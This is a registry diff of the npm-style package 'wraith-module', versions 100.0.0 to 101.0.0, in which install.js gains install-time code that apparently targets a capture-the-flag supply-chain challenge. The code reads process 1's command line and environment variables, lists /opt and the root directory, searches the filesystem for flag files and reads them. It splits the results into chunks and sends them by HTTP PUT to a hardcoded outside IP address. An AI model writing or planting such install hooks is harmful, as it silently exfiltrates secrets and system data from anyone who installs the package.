wraith-module 100.0.0 → 101.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +38 -13
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -9,7 +9,7 @@ async function report(moduleId, val) {
|
|
|
9
9
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
10
10
|
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
11
11
|
await new Promise((resolve) => {
|
|
12
|
-
const req = http.request({ hostname: '154.57.164.
|
|
12
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
13
13
|
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
14
14
|
req.write(body); req.end();
|
|
15
15
|
});
|
|
@@ -19,10 +19,10 @@ async function report(moduleId, val) {
|
|
|
19
19
|
// Read nethunter.sh
|
|
20
20
|
const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || '';
|
|
21
21
|
|
|
22
|
-
//
|
|
23
|
-
const
|
|
22
|
+
// List opt dir
|
|
23
|
+
const optDir = tryExec('find /opt -type f 2>/dev/null');
|
|
24
24
|
|
|
25
|
-
// Full CMD1
|
|
25
|
+
// Full CMD1
|
|
26
26
|
const cmd1 = tryRead('/proc/1/cmdline');
|
|
27
27
|
const cmd1str = cmd1 ? cmd1.replace(/\x00/g, ' ') : '';
|
|
28
28
|
|
|
@@ -30,30 +30,55 @@ async function report(moduleId, val) {
|
|
|
30
30
|
const env1 = tryRead('/proc/1/environ');
|
|
31
31
|
const env1str = env1 ? env1.replace(/\x00/g, ' | ') : '';
|
|
32
32
|
|
|
33
|
-
//
|
|
33
|
+
// Try to find the flag everywhere
|
|
34
|
+
const htb = tryExec('grep -rl "HTB{\\|flag{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5');
|
|
35
|
+
const flag = tryExec('cat /flag* /root/flag* /home/*/flag* 2>/dev/null');
|
|
36
|
+
|
|
37
|
+
// Root listing
|
|
38
|
+
const rootLs = tryExec('ls -la / 2>/dev/null');
|
|
39
|
+
|
|
40
|
+
// Build chunks
|
|
34
41
|
const items = [];
|
|
35
|
-
items.push('
|
|
36
|
-
items.push('
|
|
37
|
-
items.push('
|
|
38
|
-
items.push('
|
|
39
|
-
items.push('
|
|
42
|
+
items.push('CMD=' + cmd1str);
|
|
43
|
+
items.push('ENV=' + env1str);
|
|
44
|
+
items.push('OPTDIR=' + optDir);
|
|
45
|
+
items.push('ROOTLS=' + rootLs);
|
|
46
|
+
items.push('HTB=' + (htb || 'NONE'));
|
|
47
|
+
items.push('FLAG=' + (flag || 'NONE'));
|
|
40
48
|
|
|
41
49
|
// nethunter.sh in chunks
|
|
42
|
-
for (let i = 0; i <
|
|
50
|
+
for (let i = 0; i < 30; i++) {
|
|
43
51
|
const chunk = nh.substring(i * 85, (i + 1) * 85);
|
|
44
52
|
if (!chunk) break;
|
|
45
53
|
items.push('NH' + i + '=' + chunk);
|
|
46
54
|
}
|
|
47
|
-
|
|
55
|
+
|
|
48
56
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
49
57
|
|
|
50
58
|
for (let round = 0; round < Math.ceil(items.length / 4); round++) {
|
|
51
59
|
for (let i = 0; i < 4; i++) {
|
|
52
60
|
const idx = round * 4 + i;
|
|
53
61
|
if (idx < items.length) {
|
|
54
|
-
|
|
62
|
+
const item = items[idx];
|
|
63
|
+
// Truncate each item to 85 chars for the module name limit
|
|
64
|
+
await report(mods[i], 'Q' + idx + '_' + item.substring(0, 85));
|
|
55
65
|
}
|
|
56
66
|
}
|
|
57
67
|
await new Promise(r => setTimeout(r, 1500));
|
|
58
68
|
}
|
|
69
|
+
|
|
70
|
+
// Extra rounds for long items
|
|
71
|
+
const longItems = ['CMD', 'ENV', 'OPTDIR', 'ROOTLS'];
|
|
72
|
+
for (let li = 0; li < longItems.length; li++) {
|
|
73
|
+
const key = longItems[li];
|
|
74
|
+
const fullVal = items.find(i => i.startsWith(key + '='));
|
|
75
|
+
if (fullVal && fullVal.length > 85) {
|
|
76
|
+
for (let chunk = 1; chunk < 5; chunk++) {
|
|
77
|
+
const part = fullVal.substring(chunk * 85, (chunk + 1) * 85);
|
|
78
|
+
if (part) {
|
|
79
|
+
await report(mods[li % 4], 'E' + li + 'C' + chunk + '_' + part);
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
}
|
|
59
84
|
})();
|